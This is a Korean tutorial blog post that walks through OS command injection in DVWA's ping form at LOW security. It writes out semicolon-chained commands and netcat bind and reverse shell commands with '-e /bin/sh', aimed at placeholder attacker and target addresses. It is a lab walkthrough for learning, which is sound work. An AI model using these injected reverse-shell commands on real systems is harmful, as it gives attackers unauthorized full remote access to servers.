Command Execution (1)

밍기적·2022년 11월 12일
0

웹해킹

목록 보기
4/35
post-thumbnail

Code Execution Vulunerability

  • 공격자가 OS 명령을 사용하는 것을 허용하는 취약점
  • 윈도우 또는 리눅스 명령어를 사용함
  • 리버스 쉘을 획득할 수 있음
    • 또는 어떠한 파일을 wget 명령어를 사용하여 업로드 또는 다운로드 할 수 있습니다
  • 코드 실행 취약점은 자원에 대상 서버에 접근이 가능하도록 허용함

또다른 악용 방법은 OS명령을 사용하여 리버스 쉘 기반을 획득하는 것입니다.

  • 해당 서버의 운영체제에서 역방향 연결을 시도하며 연결이 완료 된다면 쉘을 얻게 됩니다

처음 시도해 볼 명령어는 다중명령어 사용을 위해 세미콜론(;)을 이용하는 것입니다.

  • 하나의 명령이 끝났다는 것을 의미함
  • 여러개의 명령어를 한줄에서 사용하기 위해서 세미콜론을 사용함
  • 첫 번째 명령어가 실패하여도 세미콜론 뒤의 명령어는 정상적으로 동작함

Command Execution 탭에 접속하여 IP 주소를 작성하면 해당 주소로 핑 명령을 보낸다.

해당 명령어를 submit한다면 ping 127.0.0.1 명령어가 실행된 뒤 뒤의 ls 명령어가 실행된다.

또한 다른 명령어 사용시 똑같이 명령어가 실행되는 것을 확인할 수 있다.


이제 역방향 쉘을 획득하기 위해서 netcat을 이용한다.

Netcat(ornc)은 TCP 또는 UDP 프로토콜을 사용하여 네트워크 연결을 통해 데이터를 읽고 쓰는 명령줄 유틸리티입니다.

Netcat을 사용하여 네트워크 연결을 디버그 및 모니터링하고, 열린 포트를 검사하고, 데이터를 전송하고, 프록시로 사용하는 등의 작업을 수행할 수 있습니다.

정방향 쉘연결


[피해자]

  • nc -lvp [PORT_NUMBER] -e [SHELL]
  • 윈도우는 shell에 cmd
  • 리눅스의 경우 /bin/sh를 사용하여 연결함

[공격자]

  • nc [피해자 IP][PORT_NUMBER]

역방향 쉘연결


[공격자]

  • nc -lvp 4444
  • 리스닝 모드로 해당 서버에서 연결을 기다리고 있다.

[피해자]

  • nc [공격자 IP] 4444 -e [SHELL]

DVWA LOW - 실습


공격자에서 리스닝모드로 netcat를 시작합니다.

해당 취약점이 있는 사이트에 접속하여

  • nc -e /bin/sh [TARGET IP][PORT_NUMBER]
    명령어를 사용하여 리버스 연결로 실행합니다.

이제 역방향 쉘로 연결된 것을 확인할 수 있습니다. 해당 터미널에서 여러가지 리눅스 명령어를 사용한다면 적용되는 것을 볼 수 있습니다.

이로서 기본적으로 대상 컴퓨터에 원격으로 접속하여 전체 액세스 권한을 가집니다.

0개의 댓글